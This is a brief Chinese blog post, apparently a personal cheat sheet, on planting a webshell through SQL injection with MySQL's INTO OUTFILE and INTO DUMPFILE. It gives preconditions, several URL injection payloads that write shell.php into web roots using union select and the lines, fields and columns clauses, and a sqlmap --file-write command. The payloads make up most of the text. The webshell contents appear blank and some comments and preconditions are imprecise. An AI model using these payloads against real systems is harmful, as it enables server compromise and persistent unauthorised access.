sql注入

条件:
知道web绝对路径
有文件写入权限(一般情况只有ROOT用户有)
数据库开启了secure_file_priv设置
然后就能用select into outfile写入webshell

常见手法:
联合注入写入
?id=1’ union select 1,“”,3 into outfile ‘C:\phpstudy\WWW\sqli\shell.php’#

dumpfile函数写入
?id=1’ union select 1,“”,3 into dumpfile ‘C:\phpstudy\WWW\sqli\shell.php’#

lines terminated by 写入
?id=1 into outfile ‘C:/wamp64/www/shell.php’ lines terminated by ‘’; //lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。

lines starting by 写入
?id=1 into outfile ‘C:/wamp64/www/shell.php’ lines starting by ‘’; //利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。

fields terminated by 写入
?id=1 into outfile ‘C:/wamp64/www/work/shell.php’ fields terminated by ‘’; //利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

columns terminated by 写入
?id=1 into outfile ‘C:/wamp64/www/shell.php’ COLUMNS terminated by ‘’; //利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

sqlmap写入
写:(要写的文件,必须在kali本机里有) 写入到 /tmp 目录下 sqlmap -u “http://127.0.0.1/index.php?page=user-info.php&username=a'f'v&password=afv&user-info-php-submit-
button=View+Account+Details” -p ‘username’ --file-write=“shell.php” --file-dest=“/tmp/shell.php”

posted @ 2025-04-22 14:30  小yangzz  阅读(10)  评论(0)    收藏  举报